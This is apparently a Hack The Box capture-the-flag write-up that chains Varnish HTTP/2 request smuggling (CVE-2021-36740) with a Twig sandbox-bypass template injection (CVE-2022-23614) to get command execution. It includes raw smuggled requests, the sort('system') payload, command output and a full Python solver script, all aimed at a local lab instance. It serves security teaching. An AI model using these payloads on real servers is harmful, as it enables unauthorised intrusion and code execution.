Write-Ups
Rayhan0x01,
Nov 12
2022
The challenge involves exploiting an HTTP/2 Request Smuggling vulnerability and bypassing Twig Sandbox Policy for Server-Side Template Injection to gain RCE.
Developers often configure ACL rules (Access Control List) on the proxy level to restrict access to web routes containing sensitive information or functionality. They also utilize security mechanisms, such as sandboxing, for evaluating untrusted code in an isolated context on the application level. But how important is it to keep the software that enforces those security measures up to date?
Keeping the vendor software up-to-date is just as important as deploying secure code. This challenge aims to demonstrate such cases where we have to exploit the following CVEs that allow for bypassing the security mechanisms that were set on proxy and application level:
CVE-2021-36740: Varnish Cache, with HTTP/2 enabled, allows request smuggling and VCL authorization bypass via a large Content-Length header for a POST request.
CVE-2022-23614: When in a Sandbox mode, the `arrow` parameter of the `sort` filter allows attackers to run arbitrary PHP functions.
Unlike traditional web challenges, we have provided the entire application source code. So, along with black-box testing, players can take a white-box pentesting approach to solve the challenge. We’ll go over the step-by-step challenge solution from our perspective on how to solve it.
The challenge description describes the host using the HTTP/2 protocol with a self-signed TLS certificate. Visiting the host with the "https://" scheme prompts a warning at first because of the self-signed certificate, accepting and continuing displays the following login page:
Since the application source code is provided, we can see from the challenge/.env file that the login credentials are "admin:admin":
ADMIN_USENRAME=admin
ADMIN_PASSWORD=admin
Logging in with the above credentials shows the following dashboard page:
The page appears to be a phishing kit generator where you can specify your Slack API webhook information and select one of the phishing templates for it. After filling out all the information, if we click the "Export Kit" at the bottom of the page we get the following error message from the Varnish cache server:
Looking at the varnish config file from config/default.vcl, there is an ACL rule that blocks access to the /admin/export
route unless the client IP address is 127.0.0.1:
acl admin {
"127.0.0.1";
}
sub vcl_recv {
set req.backend_hint = default;
if ( req.url ~ "^/admin/export" && !(client.ip ~ admin) ) {
return(synth(403, "Only localhost is allowed."));
}
}
It's clear that we need access to the /admin/export
route in order to use the full feature of the application so let's try to bypass the ACL restriction. The HTTP/2 protocol is also something we don't usually see in challenges. If we do a quick Google search of "varnish HTTP 2 bypass" the first results lead to the following Detectify writeup:
From the challenge Dockerfile, we can see the Varnish version installed is 6.6.0
, and the CVE mentioned fits with the setup we have for this challenge:
From the description above, this Request Smuggling behavior seems similar to the H2.CL vulnerability documented by PortSwigger in the Advanced request smuggling article:
HTTP/2 requests don't have to specify their length explicitly in a header. During downgrading, this means front-end servers often add an HTTP/1 Content-Length header, deriving its value using HTTP/2's built-in length mechanism. Interestingly, HTTP/2 requests can also include their own content-length header. In this case, some front-end servers will simply reuse this value in the resulting HTTP/1 request.
The spec dictates that any content-length header in an HTTP/2 request must match the length calculated using the built-in mechanism, but this isn't always validated properly before downgrading. As a result, it may be possible to smuggle requests by injecting a misleading content-length header. Although the front-end will use the implicit HTTP/2 length to determine where the request ends, the HTTP/1 back-end has to refer to the Content-Length header derived from your injected one, resulting in a desync.
Thanks to the Detectify article, we know how to reproduce the request smuggling vulnerability. We can launch a local instance of the challenge application and try our Request smuggling POC against it to verify if the exploit works:
If we check the terminal of the launched local Docker container, we can see from the logs that two different requests were processed where the 2nd request doesn't contain an IP address and receives a 302 redirect from the /admin/export endpoint:
This confirms that HTTP/2 Request smuggling is working and we can bypass the ACL restriction.
From the challenge/config/routes.yaml file, we can see all the application routes and the controller that handles requests to that route:
index:
path: /
controller: App\Controller\DefaultController::index
login:
path: /login
controller: App\Controller\LoginController::login
adminIndex:
path: /admin/
controller: App\Controller\AdminController::adminIndex
exportTemplate:
path: /admin/export
controller: App\Controller\AdminController::exportTemplate
logout:
path: /logout
controller: App\Controller\AdminController::logout
We are interested in the exportTemplate
function defined in challenge/src/Controller/AdminController.php that handles the requests to the route /admin/export:
public function exportTemplate(Request $request)
{
if (!$this->get('session')->get('loggedin'))
{
return $this->redirect('/?msg=please login first');
}
$templateGenerator = new TemplateGenerator(
$request->get('template-page'),
$request->get('campaign'),
$request->get('log-title'),
$request->get('slack-url'),
$request->get('redirect-url'),
$this->get('twig')
);
if (!$templateGenerator->verifyTemplate())
{
return $this->redirect('/admin/?msg=Invalid Template Selected!');
}
$templateGenerator->generateIndex();
if ($templateGenerator->createArchive())
{
return $this->redirect('/admin/?export=true');
}
return $this->redirect('/admin/?msg=Template Export Failed!');
}
The TemplateGenerator class initiated with the request parameters is defined in challenge/src/Service/TemplateGenerator.php:
class TemplateGenerator
{
public $template;
public $campaign;
public $title;
public $slack;
public $redirect;
public $rootPath = '/www/public/static/phish_templates';
public $exportPath = '/www/public/static/exports';
public $exportName = 'phishtale.zip';
public $indexPage;
private $twig;
public function __construct($template, $campaign, $title, $slack, $redirect, Environment $twig)
{
$this->template = $template;
$this->campaign = htmlentities($campaign);
$this->title = htmlentities($title);
$this->slack = htmlentities($slack);
$this->redirect = htmlentities($redirect);
$this->twig = $twig;
}
</snip>
The generated template export file should be in /static/exports/phishtale.zip as defined in the class variables. So let's try sending a proper request and check if the export file is generated. Notice we must also provide the PHPSESSID
cookie of authenticated admin user, Content-Type
, and Content-Length
for the second request:
POST /login HTTP/2
Host: 127.0.0.1:1337
User-Agent: Normal-userAgent
Content-Type: application/x-www-form-urlencoded
Content-Length: 1
aPOST /admin/export HTTP/1.1
Host: 127.0.0.1
User-agent: Smuggled-userAgent
Cookie: PHPSESSID=oj0mki7ivv87u05k15o1ajd9ac
Content-Type: application/x-www-form-urlencoded
Content-length: 251
slack-url=https%3A%2F%2Fhooks.slack.com%2Fservices%2FT00000000%2FB00000000%2FXXXXXXXXXXXXXXXXXXXXXXXX&redirect-url=https%3A%2F%2Foffice.com%2F&campaign=Phishtale+0x01+%F0%9F%8E%A3&log-title=New+Phish+In+The+Pond%21+%F0%9F%90%9F&template-page=wordpress
We can confirm the above request worked by visiting the /static/exports/phishtale.zip that downloads the exported template zip file. From the exported zip, we can see the values we submitted are populated in the index.php file:
<?php
$slack_webhook = "https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX";
$redirect = "https://office.com/";
$campaign = "Phishtale 0x01 🎣";
$title = "New Phish In The Pond! 🐟";
</snip>
The generateIndex()
function from the TemplateGenerator
class is responsible for generating the above file as defined in challenge/src/Service/TemplateGenerator.php:
public function generateIndex()
{
$phishPage = "<?php \n\n";
$phishPage .= "\$slack_webhook = \"$this->slack\"; \n";
$phishPage .= "\$redirect = \"$this->redirect\"; \n";
$phishPage .= "\$campaign = \"$this->campaign\"; \n";
$phishPage .= "\$title = \"$this->title\"; \n";
$phishPage .= "{% include '@phish/slack.php.twig' %}\n";
$phishPage .= "{% include '@phish/logger.php.twig' %}\n";
$phishPage .= "?>\n\n";
$phishPage .= "{% include '@phish/$this->template/template.php' %}\n";
$this->indexPage = $this->twig->createTemplate($phishPage)->render();
}
The $phishPage
variable with our user input is being rendered via the PHP Twig template engine, which makes it vulnerable to Server-Side Template Injection (SSTI). If we change the title to a test SSTI payload {{7*7}}
and send the request again, the resultant index file from the exported zip contains the evaluated template expression:
<?php
$slack_webhook = "https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX";
$redirect = "https://office.com/";
$campaign = "Phishtale 0x01 🎣";
$title = "49";
</snip>
We can now turn 7*7
to 49
via SSTI, but we need a way to execute remote code on the server! Next, we’ll dig into the Twig template engine source code to find just that.
Twig template engine offers various built-in filters to be used as streams. If we look through the source code of those filters in GitHub, we see that they are using callback functions like the below filter function:
function twig_array_filter(Environment $env, $array, $arrow)
{
if (!twig_test_iterable($array)) {
throw new RuntimeError(sprintf('The "filter" filter expects an array or "Traversable", got "%s".', \is_object($array) ? \get_class($array) : \gettype($array)));
}
if (!$arrow instanceof Closure && $env->hasExtension('\Twig\Extension\SandboxExtension') && $env->getExtension('\Twig\Extension\SandboxExtension')->isSandboxed()) {
throw new RuntimeError('The callable passed to "filter" filter must be a Closure in sandbox mode.');
}
if (\is_array($array)) {
return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);
}
// the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
We can see the twig_array_filter
utilizes the PHP array_filter
function under the hood. If we look at the PHP manual for the array_filter
function, we can see it accepts a callback function that could be used to call any arbitrary PHP function:
We can use the PHP system function as the callback function and specify the commands as array items to achieve code execution. So, an SSTI payload like the below should work:
{{['id']|filter('system')}}
Unfortunately, the above payload doesn't work, and we can see the following error in the terminal of the launched local Docker container:
It looks like the Twig Sandbox Extension is not allowing the use of the filter tag. If we take a look at the challenge/config/services.yaml file that adds the Twig engine to the Symfony framework as a service:
services:
twig.sandbox.policy:
class: Twig\Sandbox\SecurityPolicy
arguments:
# tags
- ['include']
# filters
- ['upper', 'join', 'raw', 'escape', 'sort']
# methods
- []
# properties
- []
# functions
- []
public: false
twig.sandbox.extension:
class: Twig\Extension\SandboxExtension
arguments:
- "@twig.sandbox.policy"
- true
Twig sandbox extension is enabled, which restricts us from using tags and filters other than the ones mentioned.
Since we have to bypass the Sandbox of Twig, we can start by fingerprinting the version installed and checking recent CVE disclosures to see if any of them affect the one currently being used. A quick look through the list of CVEs that mention twig leads us to CVE-2022-23614:
From the challenge/composer.json file, the Twig version installed is 3.3.7
, which is vulnerable to the above CVE. There is no public proof of concept of the above vulnerability, but we can reverse the POC ourselves with the given information in the description. Let's start by looking at the source code of Twig where the sort filter is defined:
/**
* Sorts an array.
*
* @param array|\Traversable $array
*
* @return array
*/
function twig_sort_filter(Environment $env, $array, $arrow = null)
{
if ($array instanceof \Traversable) {
$array = iterator_to_array($array);
} elseif (!\is_array($array)) {
throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
}
if (null !== $arrow) {
twig_check_arrow_in_sandbox($env, $arrow, 'sort', 'filter');
uasort($array, $arrow);
} else {
asort($array);
}
return $array;
}
The advisory mentioned the $arrow
parameter which is directly passed to the PHP uasort
function. From the PHP manual website, we can see a basic example of the uasort
function:
Notice how the second parameter can call any arbitrary function by specifying the function's name. The array items are passed to the compare function as arguments. So, if we set a built-in PHP function name in the $arrow
parameter, that should also get executed, and the array values are passed in as arguments! That's all we need to create the following payload that allows us to get RCE bypassing the sandbox policy restrictions:
{{['id', '']|sort('system')|join}}
The PHP uasort
function will call the PHP system function and pass in the array item id that will result in the command execution. The join filter will convert the array to a string to be displayed on the rendered file. Sending the above payload via our H2 request smuggling works, and we can see the output:
<?php
$slack_webhook = "https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX";
$redirect = "https://office.com/";
$campaign = "Phishtale 0x01 🎣";
$title = "uid=100(apache) gid=101(apache) groups=82(www-data),101(apache),101(apache)
id";
</snip>
We have just achieved command execution on the server! The next quest is to find where to get the flag. Looking at the files in the /
directory, we can see a binary file called readflag
. If we execute the binary with the below payload, we get the flag. Here is the final request to trigger the SSTI sandbox bypass to read the flag via H2 request smuggling:
POST /login HTTP/2
Host: 127.0.0.1:1337
User-Agent: Normal-userAgent
Content-Type: application/x-www-form-urlencoded
Content-Length: 1
aPOST /admin/export HTTP/1.1
Host: 127.0.0.1
User-agent: Smuggled-userAgent
Cookie: PHPSESSID=oj0mki7ivv87u05k15o1ajd9ac
Content-Type: application/x-www-form-urlencoded
Content-length: 254
slack-url=https%3A%2F%2Fhooks.slack.com%2Fservices%2FT00000000%2FB00000000%2FXXXXXXXXXXXXXXXXXXXXXXXX&redirect-url=https%3A%2F%2Foffice.com%2F&campaign=Phishtale+0x01+%F0%9F%8E%A3&log-title={{['/readflag','']|sort('system')|join}}&template-page=wordpress
The flag can be found on the exported zip file inside the index file:
<?php
$slack_webhook = "https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX";
$redirect = "https://office.com/";
$campaign = "Phishtale 0x01 🎣";
$title = "HTB{5muggl3d_ph1sh_t0_54ndb0x_l4nd!}/readflag";
</snip>
Here's the full-chain solver script to automate the solution for the challenge:
import requests, re, urllib3, subprocess, zipfile, io
from urllib.parse import urlencode, quote_plus
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
hostURL = 'https://127.0.0.1:1337'
print('[+] Getting admin session cookie ..')
postData = {'username': 'admin', 'password': 'admin'}
resp = requests.post(f'{hostURL}/login', data=postData, allow_redirects=False, verify=False)
adminCookie = resp.cookies.get('PHPSESSID')
print('[+] Sending SSTI payload with H2 smuggling ..')
postData = {
'slack-url': "{{ ['/readflag', '']| sort('system') | join(' ') }}",
'redirect-url': 'https://hackthebox.com',
'campaign': 'htb',
'log-title': 'htb',
'template-page': 'wordpress'
}
postData = urlencode(postData, quote_via=quote_plus)
curl_cmd = (
"curl -i -s -k -X POST "
"-H 'Host: 127.0.0.1' "
"-H 'Content-Type: application/x-www-form-urlencoded' "
"-H 'Content-Length: 1' "
"-b 'PHPSESSID=qv6saljm95cue7lfnu0o0rn71j' "
"--data-binary \""
'aPOST /admin/export HTTP/1.1\x0d\x0a'
'Host: 127.0.0.1\x0d\x0a'
'Content-Type: application/x-www-form-urlencoded\x0d\x0a'
f'Cookie: PHPSESSID={adminCookie}\x0d\x0a'
f'Content-Length: {len(postData)}\x0d\x0a'
'\x0d\x0a'
f'{postData}\x0d\x0a" '
f'{hostURL}/login'
)
subprocess.run(curl_cmd, shell=True, stdout=subprocess.DEVNULL)
print('[+] Downloading generated phishing archive ..')
resp = requests.get(f'{hostURL}/static/exports/phishtale.zip', verify=False)
respZip = zipfile.ZipFile(io.BytesIO(resp.content))
respZip.extractall('/tmp/extract')
print('[+] Reading flag from zip ..')
indexFile = open('/tmp/extract/wordpress/index.php').read()
flag = re.search(r'(HTB\{.*?\})', indexFile)
print(f'[*] Flag: {flag.group(0)}')
subprocess.run('rm -rf /tmp/extract', shell=True)
Do the vulnerabilities we have seen in the challenge have real-world impacts? Yes, of course! Here are a few publicly disclosed bug-bounty reports that feature the HTTP Request smuggling and Server-Side Template Injection:
Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookies
Stealing Zomato X-Access-Token: in Bulk using HTTP Request Smuggling on api.zomato.com
H1514 Server Side Template Injection in Return Magic email templates
Server side template injection via Smarty template allows for RCE
After the release of HTTP Desync Attacks: Request Smuggling Reborn from James Kettle, we have seen a surge of popularity in HTTP Request smuggling and Desync attacks. Many tools were created to discover HTTP Request Smuggling, most notably:
Http-request-smuggler Burp Suite extension by PortSwigger
Smuggler CLI tool by defparam
Research on newer protocols such as HTTP/2 also opened a window of attacks as documented by James Kettle in HTTP/2: The Sequel is Always Worse.
PortSwigger's article on Server-Side Template Injection covers a lot of ground on SSTI. Tools created for discovery and exploitations include:
Tplmap CLI tool by epinna
Backslash-powered-scanner by PortSwigger
And that's a wrap for the write-up of this challenge! If you want to try this challenge out, it's currently available to play on the main platform of Hack The Box.